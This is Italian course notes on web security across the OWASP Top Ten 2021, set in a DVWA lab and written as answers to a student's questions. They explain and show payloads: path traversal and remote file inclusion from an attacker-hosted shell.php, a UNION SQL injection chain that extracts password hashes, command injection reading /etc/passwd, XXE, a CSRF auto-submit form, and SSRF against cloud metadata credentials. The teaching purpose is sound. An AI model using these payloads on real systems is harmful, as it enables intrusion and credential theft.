

Appunti — Modulo S3: Web Security (OWASP Top Ten 2021)

Corso: Lab Sicurezza Informatica T **Basato su:** lezione_moduloS3_web_security.md **Data:** 2026-06-24

Visione d'insieme — threat model

Ottima sintesi iniziale: “l’attaccante sfrutta il fatto che l’applicazione non distingue tra dato ed istruzione” — è esattamente il principio unificante di S3. Tienilo come ancora mentale per tutte le 10 categorie OWASP.

Un’**applicazione web** è un sistema che riceve input dall’esterno (parametri URL, form, cookie, header, file XML) e li usa per costruire query, comandi, pagine HTML, chiamate API. L’**attaccante** sfrutta il fatto che l’applicazione non distingue tra **dato** e **istruzione**: se l’input finisce in una query SQL senza sanificazione, l’utente può scrivere SQL; se finisce in HTML senza escaping, può scrivere JavaScript; se finisce in una chiamata di sistema, può scrivere comandi bash.

La prospettiva del **difensore** è speculare: ogni punto dove l’input esterno influenza un interprete (database, shell, browser, parser XML) è una superficie d’attacco e va trattata con **zero fiducia**. Il principio fondamentale è **validate input, escape output** — valida quello che entra, codifica tutto quello che esce verso un interprete.

A1 — Broken Access Control: IDOR, File Disclosure, LFI/RFI

Risposta alla domanda: “*ho capito IDOR come cambio di ID nell’URL, ma perché File Disclosure sarebbe ‘IDOR applicato ai file’? E LFI/RFI come funzionano?*”

La chiave è capire cos’è un “oggetto diretto” in IDOR: è qualsiasi risorsa identificata da un riferimento che l’utente controlla. Può essere un numero (`?id=42`) o un percorso (`?page=about.php`). Il problema è identico in entrambi i casi: l’applicazione usa quel riferimento senza verificare se chi lo chiede ne abbia il diritto.

IDOR classico: `?id=42` → cambi in `?id=43` → leggi i dati di un altro utente.

File Disclosure / Path Traversal: `?page=about.php` → cambi in `?page=../../../../etc/passwd` → il server legge e ti restituisce il file di sistema. È IDOR perché stai referenziando direttamente un file che non dovresti poter leggere, senza che l’applicazione verifichi. La sequenza `../` sale di una directory — ne metti quante servono finché arrivi alla root.

LFI (Local File Inclusion): stessa vulnerabilità, ma il parametro viene usato da PHP per *includere* (ed eseguire) un file. Con `?page=../../../../etc/passwd` ottieni il contenuto del file; se riesci a puntare a un file PHP che hai in qualche modo caricato sul server, ottieni esecuzione di codice.

RFI (Remote File Inclusion): uguale a LFI ma il parametro punta a un URL esterno. L’attaccante serve un file PHP malevolo dalla propria macchina con `python3 -m http.server 8081` e punta `?page=http://IP_PARROT:8081/shell.php`. Il server PHP scarica ed esegue quel file remoto — questo è RCE diretto. È disabilitato di default su DVWA perché troppo pericoloso anche in lab.

Tabella di confronto A1:

Tipo	Riferimento usato	Cosa ottieni	Esempio payload
IDOR classico	ID numerico ?id=42	Dati di un altro utente	?id=43, ?id=1
File Disclosure	Percorso file ?page=about.php	Contenuto di file di sistema	?page=../../../../etc/passwd
LFI	Percorso file → PHP include	Esecuzione file locale	?page=../../../../var/log/apache.log
RFI	URL remoto → PHP include	Esecuzione file remoto (RCE)	?page=http://IP_PARROT:8081/shell.php

Difesa: non accettare mai percorsi come input utente. Se serve, usare una whitelist di pagine consentite — mai concatenare input direttamente in chiamate al filesystem.

A2 — Cryptographic Failures

Dati sensibili (credenziali, PII, dati finanziari) che circolano o vengono conservati senza protezione crittografica adeguata: password in chiaro nei log, algoritmi deboli (MD5), DB non protetto at rest.

Su DVWA vedrai le password come hash MD5, ad esempio 5f4dcc3b5aa765d61d8327deb882cf99 (che è l'hash di "password"). MD5 è craccabile con rainbow table in secondi — manca di salt e key stretching. Funzioni corrette per le password: bcrypt, scrypt, Argon2.

A3 — Injection

SQL Injection

Risposta alla domanda: “nel risultato dell’injection vedo ‘nome e cognome’ come output normale — non è quello che il DB restituisce già?”

Sì, se inserisci 1 ottieni il nome e cognome dell’utente 1 — è il comportamento normale. Il punto dell’injection è *alterare la query* per ottenere cose che normalmente non potresti. Con ' OR 'a'='a non stai chiedendo “dame l’utente con ID vuoto” — stai riscrivendo la logica SQL.

La query originale del codice PHP è:

```
SELECT first_name, last_name FROM users WHERE user_id = '$id'
```

Quando inserisci ' OR 'a'='a, la stringa \$id diventa ' OR 'a'='a e la query risultante è:

```
SELECT first_name, last_name FROM users WHERE user_id = '' OR 'a'='a'
```

La condizione WHERE user_id = '' è falsa (nessun utente ha ID vuoto), ma la seconda parte OR 'a'='a' è **sempre vera** (la lettera ‘a’ è sempre uguale a sé stessa). In SQL, OR funziona come in logica: se almeno una delle condizioni è vera, la riga passa il filtro. Risultato: tutte le righe della tabella passano il filtro WHERE e vengono restituite. Stai “cortocircuitando” il WHERE.

Risposta alla domanda: “*Union Based — nel pratico cosa significa ‘concatenare i risultati di due SELECT’?*”

In SQL, UNION appende i risultati di una seconda SELECT sotto quelli della prima, come se aggiungessi righe in fondo alla tabella risultante. Il vincolo è che le due SELECT devono avere lo stesso numero di colonne (altrimenti SQL non sa come allinearle).

La query originale seleziona 2 colonne (first_name, last_name). Appendendo UNION SELECT 'ciao','mondo' ottieni come risultato aggiuntivo una riga con first_name='ciao' e last_name='mondo'. Ma puoi mettere qualsiasi cosa al posto di quelle stringhe — inclusi valori di sistema come @@version.

Risposta alla domanda: “*come coi NULL progressivi capisco il numero di colonne?*”

NULL è compatibile con qualsiasi tipo di colonna in SQL. Quindi ' union select NULL,NULL # non fallisce per tipo sbagliato — fallisce solo se il numero di colonne non corrisponde. L'algoritmo: parti da 1 NULL, aggiungi un NULL alla volta finché la query restituisce risultato invece di errore. Quando funziona, sai il numero esatto di colonne.

```
' union select NULL #          → Errore: numero colonne diverso
' union select NULL,NULL #     → Risultato! → la query originale ha 2 colonne
```

Risposta alla domanda: “*cosa significa ‘ho accesso a tutto il DB e non solo alla tabella originale’?*”

La query originale stava solo dentro la tabella `users` del database `dvwa`. Con Union Based puoi fare SELECT su qualsiasi tabella di qualsiasi database presente nel DBMS — il tuo UNION non è legato alla tabella della query originale. Puoi interrogare `information_schema.schemata` per listare tutti i database, poi `information_schema.tables` per listare tutte le tabelle di ogni database, poi `information_schema.columns` per listare le colonne. Una volta che conosci la struttura, puoi fare SELECT su qualsiasi dato — password di altri database, configurazioni, qualsiasi cosa stia nel DBMS.

Il # finale è fondamentale: commenta il resto della query originale (che aveva ancora un ' di chiusura) — senza di lui la sintassi sarebbe invalida.

Sequenza Union Based completa (catena logica, non walkthrough):

Scopri numero colonne:

```
' union select NULL,NULL #     → 2 colonne
```

Estrai metadati di sistema:

```
' union select NULL,@@version #   → versione MySQL
' union select NULL,database() #   → database corrente: dvwa
```

Enumera struttura:

```
' union select null,schema_name from information_schema.schemata #
' union select null,table_name from information_schema.tables where table_schema='dvwa' #
' union select null,column_name from information_schema.columns where table_name='users' #
```

Estrai i dati:

' union select user,password from users # → hash MD5 di tutte le password

Command Injection

Risposta / inserimento esempio richiesto:

La form di DVWA accetta un IP, lo passa a `ping` via `exec()` PHP senza filtrare l'input. In bash: -
; separa comandi: `cmd1; cmd2` — esegue `cmd2` **sempre**, indipendentemente dall'exit code di `cmd1`
- `&&` è AND logico: `cmd1 && cmd2` — esegue `cmd2` **solo se** `cmd1` ha avuto successo (exit code 0)

Nel contesto del form:

```
127.0.0.1; ls      → ping gira, poi ls gira sempre
127.0.0.1 && ls    → ping gira, ls gira solo se ping ha avuto successo
; ls              → ping fallisce su input non-IP, ma con ; ls gira comunque
```

Per l'attaccante ; è più affidabile: funziona anche con input non valido come IP. Command injection è RCE: con ; `cat /etc/passwd`; ; `id`; ; `whoami` esplori il sistema con i privilegi del webserver.

XSS — Cross-Site Scripting

Risposta alla domanda: *“in che senso prospettiva dal server al browser? cos'è il motore JavaScript? perché viene colpito? che aspetto ha l'attacco? cosa differenzia i tre tipi?”*

Prima di tutto: cosa fa un browser — quando il browser riceve HTML dal server, lo “legge” e costruisce la pagina. Se trova un tag `<script>`, lo passa al suo **motore JavaScript** (un interprete JS integrato nel browser) che lo esegue. Questo motore ha accesso a tutto quello che è nella pagina: i cookie di sessione, il DOM, può fare richieste HTTP per conto della vittima.

Dove sta la vulnerabilità — SQL injection colpisce un interprete sul server (il database). XSS colpisce un interprete sul *client* (il browser della vittima). La superficie cambia: invece di estrarre dati dal DB, l'attaccante esegue codice nel browser di qualcun altro.

Come appare un attacco XSS nel concreto: immagina un form “scrivi il tuo nome” che poi mostra “Ciao, [nome]!” nella pagina. Se invece di scrivere “Mario” scrivi `<script>alert("XSS")</script>`, la pagina non mostra “Ciao, [script tag]!” — il browser vede il tag `<script>` e lo esegue. Appare un alert. Innocuo qui, ma con `document.cookie` al posto di `alert()` rubi il cookie di sessione dell'utente che vede quella pagina.

Differenza tra i tre tipi:

Tipo	Dove vive il payload	Chi viene colpito	Vettore tipico
Reflected	Solo nell'URL, il server lo echo-a nella risposta	Chi clicca il link costruito	Link in email di phishing
Stored	Nel database del server (commento, post, username)	Tutti gli utenti che visitano la pagina	Forum, campo nome utente
DOM-based	Solo nel browser, JS lo legge dall'URL e lo mette nel DOM	Chi clicca il link costruito	Come Reflected, ma non passa dal server

Stored è il più pericoloso: il payload è persistente — chiunque visiti quella pagina esegue il codice malevolo, senza bisogno di convincerli a cliccare un link. **DOM-based è il più difficile da rilevare:** la risposta HTTP del server non contiene il codice malevolo, quindi i WAF server-side non lo vedono.

A4 — Insecure Design

Vulnerabilità che non derivano da un bug implementativo ma dalla progettazione stessa del sistema — non c'è patch che tenga, va ridisegnata l'architettura.

Risposta alla richiesta “(aggiungi esempi)”:

- Password reset tramite domande di sicurezza prevedibili (“nome del primo animale domestico”) — attaccabile con OSINT, non importa quanto sicura sia la password.
 - Rate limiting assente su login: brute force senza limiti.
 - Assenza di separazione tra ambienti test e produzione: credenziali di test attive in prod.
 - Token di reset password che non scadono — un link di reset vecchio di mesi è ancora valido.
-

A5 — Security Misconfiguration

Risposta alla domanda: “*tutti i livelli dello stack’ — cosa significa? e A5 è la base di qualunque attacco?*”

“Stack” in questo contesto = tutti i componenti che compongono l'infrastruttura di un'app web, dall'hardware in su: **servizi di rete** (DNS, firewall), **server web** (nginx, Apache), **application server** (Tomcat, PHP-FPM), **database** (MySQL, PostgreSQL), **framework** (Laravel, Django), **codice custom**, **VM**, **container** (Docker), **storage** (S3, NFS).

A5 non è “la base di qualunque attacco” nel senso che ogni attacco la richiede — è che una misconfiguration a qualsiasi livello può rendere possibile o amplificare attacchi di altre categorie. Esempio: credenziali di default (A5) permettono di accedere a un sistema → da lì puoi sfruttare SQLi (A3) che senza accesso non avresti potuto testare.

Credenziali di default

Risposta alla richiesta “(Spiega, ho capito ma non ho voglia di riscriverlo)”
— lo scrivo io:

Un'applicazione installata con credenziali di default (**admin/admin**, **admin/password**, **root/root**) è vulnerabile immediatamente. Esistono database pubblici online con le credenziali di default di migliaia di dispositivi hardware, DBMS, immagini Docker/VM. Su DVWA usi proprio **admin/password** — è la credenziale di default dell'installer, mai cambiata. Brute force con Hydra/cewl trova queste credenziali in secondi.

Cifrari TLS deboli

Versioni di protocollo o cifrari obsoleti espongono la comunicazione anche senza bug applicativi. Da evitare: SSL, TLSv1.0, TLSv1.1, RC2, RC4, DES. Da preferire: TLSv1.2+, cifrari 128+ bit, Forward Secrecy (PFS), chiavi 2048+ bit, SHA-2. Strumenti: ssllabs.com, htbridge.com.

HTTP Security Headers

Risposta alla domanda: “non ho capito un cazzo, cosa sono, come funzionano, cosa fanno”

Partiamo da cosa sono: **gli header HTTP** sono righe di metadati che viaggiano in ogni risposta dal server al browser, prima del corpo della pagina. Normalmente non li vedi — sono “dietro le quinte”. Gli header di sicurezza sono header che il server aggiunge specificamente per *istruire il browser* su come comportarsi in modo sicuro con quella risposta.

Pensa al server che dice al browser: “ehi, non caricare questa pagina dentro iframe di altri siti”, oppure “non mettere in cache questa risposta perché contiene dati sensibili”, oppure “esegui solo script che vengono da me, non da siti esterni”. Il browser rispetta queste istruzioni.

I principali:

Header	Cosa dice al browser	Perché serve
X-Frame-Options: DENY	“Non caricarmi in un iframe di nessun sito”	Previene clickjacking (attaccante nasconde la pagina sotto un elemento cliccabile)
X-XSS-Protection: 1; mode=block	“Attiva il filtro XSS integrato, blocca se trovi qualcosa”	Mitiga Reflected XSS (legacy, supporto browser ridotto)
Content-Security-Policy: default-src 'self'	“Solo i/carica risorse solo dalla mia stessa origine”	Blocca script iniettati da origini esterne (mitiga XSS stored e DOM)
X-Content-Type-Options: nosniff	“Non indovinare il tipo del file, usa solo quello dichiarato”	Previene MIME-sniffing: script mascherato da immagine non viene eseguito
Cache-Control: no-store	“Non memorizzare questa risposta nella cache”	Dati sensibili (credenziali, token) non restano in cache locale o proxy
Strict-Transport-Security (HSTS)	“Sicurezza duratura, parla con me solo in HTTPS”	Previene attacchi HTTP stripping (downgrade da HTTPS a HTTP)

SOP e CORS

Risposta alla richiesta “inserisci spiegazione e confronto tra i due”:

Same Origin Policy (SOP): il browser impone che uno script caricato da `domain-a.com` non possa leggere risorse di `domain-b.com`. “Stessa origine” = stesso schema (http/https) + stesso

dominio + stessa porta. Senza SOP, un script XSS iniettato su `bank.com` da un sito malevolo potrebbe leggere il cookie di sessione di `bank.com` e mandarlo all'attaccante.

CORS (Cross-Origin Resource Sharing): il problema è che a volte due siti *legittimi* devono comunicare (es. `app.mioservizio.com` deve chiamare le API di `api.mioservizio.com`). CORS è il meccanismo ufficiale per fare eccezioni controllate alla SOP.

Come funziona: 1. Il browser, vedendo una richiesta cross-origin, aggiunge `Origin: domain-a.com`
2. Il server di `domain-b.com` risponde con `Access-Control-Allow-Origin: domain-a.com` (o `*` per tutti)
3. Se l'ACAO include l'origine richiedente, il browser lascia passare la risposta. Altrimenti la blocca.

CORS mal configurato (`Access-Control-Allow-Origin: *` con credenziali abilitato) annulla la protezione — qualsiasi sito può fare richieste autenticate per conto dell'utente.

XXE — XML External Entities

Risposta alla domanda: *“non ho capito un cazzo, cosa sono, come funzionano, cosa fanno”*

Prima: cos'è XML — XML è un formato dati con tag come HTML (`<ordine><prodotto>381</prodotto>`). Alcune applicazioni ricevono dati XML da client (API, upload file).

Cosa sono le “external entities” — XML ha una funzionalità chiamata DTD (Document Type Definition) che permette di definire scorciatoie: “ogni volta che vedi `&xxe;` nel documento, sostituiscilo con [qualcosa]”. Quel “qualcosa” può essere un file locale o un URL remoto — è questo il problema.

Come funziona l'attacco: l'attaccante invia all'applicazione un XML costruito ad hoc:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

Il parser XML vede `&xxe;` e lo sostituisce con il contenuto di `/etc/passwd`. Poi l'applicazione usa quel valore (magari lo stampa in un messaggio di errore, o lo elabora) — e il contenuto del file di sistema appare nella risposta.

Varianti: - `SYSTEM "file:///etc/passwd"` → legge file locale - `SYSTEM "http://192.168.1.1/"` → fa richiesta HTTP verso rete interna (SSRF via XXE) - Billion Laughs Attack: entità annidate che si espandono esponenzialmente → DoS per esaurimento memoria

Difesa: disabilitare il supporto alle external entity nel parser XML (configurazione del parser, non del codice applicativo), o usare JSON invece di XML dove possibile.

A6 — Vulnerable and Outdated Components

Librerie, framework, OS con CVE note e non patchate. Casi famosi: Heartbleed (CVE-2014-0160, OpenSSL — lettura memoria server), ShellShock (CVE-2014-6271, Bash — RCE via variabili d'ambiente), GHOST (CVE-2015-0235, Linux glibc — buffer overflow in DNS). Impatto: qualsiasi cosa (RCE, AAA violations).

A7 — Identification and Authentication Failures

Il **session management** mantiene lo stato di autenticazione attraverso un cookie che il browser include automaticamente in ogni richiesta successiva al login (HTTP è stateless — senza questo meccanismo ogni click richiederebbe un nuovo login).

Session Fixation

Risposta alla domanda “(correggi se sbaglio)” — la tua descrizione è corretta nel meccanismo principale:

L’attaccante apre una sessione anonima e ottiene un token (`sessionID=123XYZ`). Costruisce un link `https://bank.com/login?sessionID=123XYZ` e convince la vittima a usarlo (phishing). La vittima si autentica — il server ora associa la sessione autenticata al token `123XYZ`. L’attaccante usa quel token per impersonare la vittima.

Aggiungo: il token è vulnerabile anche in altri modi — se è **prevedibile** (sequenziale, es. `sessionID=1001, 1002, 1003`), se è **trasmesso in HTTP** (intercettabile in rete), se **non scade** dopo inattività, se **non viene invalidato al logout**.

CSRF — Cross-Site Request Forgery

Risposta alla richiesta “spiega con l’esempio `attacker.com` e `mybank.com`”:

La vittima è autenticata su `mybank.com` — ha un cookie di sessione valido nel browser.

Visita `attacker.com`, che contiene questa pagina nascosta:

```
<form action="https://mybank.com/transfer.jsp" method="POST">
  <input name="recipient" value="attacker">
  <input name="amount" value="1000">
</form>
<script>document.forms[0].submit()</script>
```

Il browser vede il form, lo compila con i valori preimpostati e lo invia automaticamente a `mybank.com`. Il punto cruciale: quando il browser fa questa richiesta verso `mybank.com`, **include automaticamente il cookie di sessione** di `mybank` — perché è una regola del browser includere i cookie del dominio in ogni richiesta verso quel dominio, indipendentemente da dove viene generata la richiesta.

`mybank.com` riceve: `POST /transfer.jsp` + cookie di sessione valido + `recipient=attacker&amount=1000`. Non riesce a distinguerla da una richiesta legittima.

Mitigazione: CSRF token — un segreto univoco nascosto in ogni form, che solo il sito legittimo conosce e può verificare. Il sito malevolo non può includerlo perché non lo conosce (SOP gli impedisce di leggere le pagine di `mybank`).

Distinzione per l’esame: CSRF sfrutta l’autenticazione già presente (il cookie), non un problema di autorizzazione. La risposta a “cosa fa CSRF?” è: sfrutta che il browser autentica automaticamente le richieste verso il dominio.

A8 — Software and Data Integrity Failures

Questa sezione non era presente negli appunti grezzi.

Vulnerabilità da insufficiente tutela dell'integrità del codice e dell'infrastruttura. Caso eclatante: **SolarWinds Orion** (2020) — aggiornamenti firmati legittimamente contenevano backdoor iniettata nel processo di build. 18.000 organizzazioni scaricarono l'aggiornamento, ~100 compromesse (Microsoft, Intel, Cisco, agenzie USA).

Insecure Deserialization (ex A8 OWASP 2017, ora qui): serializzazione = oggetto → stream di byte per rete/storage; deserializzazione = stream → oggetto. Se il deserializzatore accetta stream non fidati (cookie, parametri HTTP, API) senza verificarne l'integrità, un attaccante può costruire uno stream che esegue codice arbitrario al momento della deserializzazione (Java/.NET) o eleva i propri privilegi. Mitigazioni: non deserializzare dati non fidati, librerie con strict type checking, sandboxing.

A9 — Security Logging and Monitoring Failures

Attenzione terminologica: negli appunti grezzi hai scritto “sistema di login” — è un lapsus, si tratta di **logging** (registrazione eventi), non di login (autenticazione). Sono due cose diverse.

Non è una vulnerabilità di attacco diretto, ma l'assenza di logging adeguato trasforma un attacco rilevabile in uno che passa inosservato per settimane. Errori comuni: non tracciare accessi falliti (il brute force non viene rilevato), non dettagliare gli eventi loggati, non proteggere i log da alterazione, non definire procedure di risposta. Effetti: impossibile rilevare l'attacco in corso, impossibile ricostruire la catena di compromissione a posteriori, impossibile stimare il danno.

A10 — Server-Side Request Forgery (SSRF)

Risposta alla domanda: *“non ho capito un cazzo, cosa sono, come funzionano, cosa fanno”*

Il concetto base: un server che fa richieste HTTP “per conto” dell'utente. Pensa a una funzionalità tipo “inserisci l'URL di un'immagine e te la mostriamo”, oppure “controlla se questo feed RSS esiste”. L'utente fornisce un URL → il server fa una richiesta HTTP a quell'URL → usa/mostra il risultato.

Il problema: il server vive *dentro* la rete interna. Ha accesso a risorse che l'utente esterno non può raggiungere direttamente: router (192.168.1.1), servizi interni (<http://db-interno.lan/>), e nei cloud provider AWS/GCP il metadata service (<http://169.254.169.254/>) che espone le credenziali dell'istanza.

Come funziona l'attacco: l'attaccante sostituisce l'URL legittimo con uno di questi indirizzi interni. Il server, fidandosi del parametro, fa la richiesta verso l'indirizzo interno e restituisce il risultato all'attaccante. Di fatto l'attaccante usa il server come “proxy” per esplorare la rete interna.

Esempio concreto: ?imageUrl=http://169.254.169.254/latest/meta-data/iam/security-credentials/<id>
→ il server AWS fa la richiesta al metadata service e restituisce le credenziali IAM dell'istanza. L'attaccante ora ha credenziali AWS valide.

Differenza da XXE→SSRF: in XXE è il parser XML che fa la richiesta interna (via SYSTEM "http://..."); qui è la logica applicativa stessa, intenzionalmente progettata per fare richieste esterne ma senza validare l'URL.

Connessioni

- **S1:** gobuster e nmap usati in S1 sono i primi strumenti del lab S3 — enumeration precede ogni exploit web
- **S2:** A7 (session fixation, CSRF) è il rovescio di S2 (autenticazione corretta)
- **S5 (iptables):** firewall rules che mitigano SSRF e limitano le connessioni in uscita del server
- **S10 (Suricata NIDS):** rileva pattern di SQLi, XSS, path traversal nel traffico di rete — A9 (Logging) diventa operativo qui

Connessioni al grafo

- [[lezione_moduloS3_web_security]] — lezione sorgente di questi appunti
- [[appunti_moduloS1_offensive_security_enumerazione]] — prerequisito: enumeration surface
- [[appunti_moduloS2_autenticazione]] — prerequisito: session management, token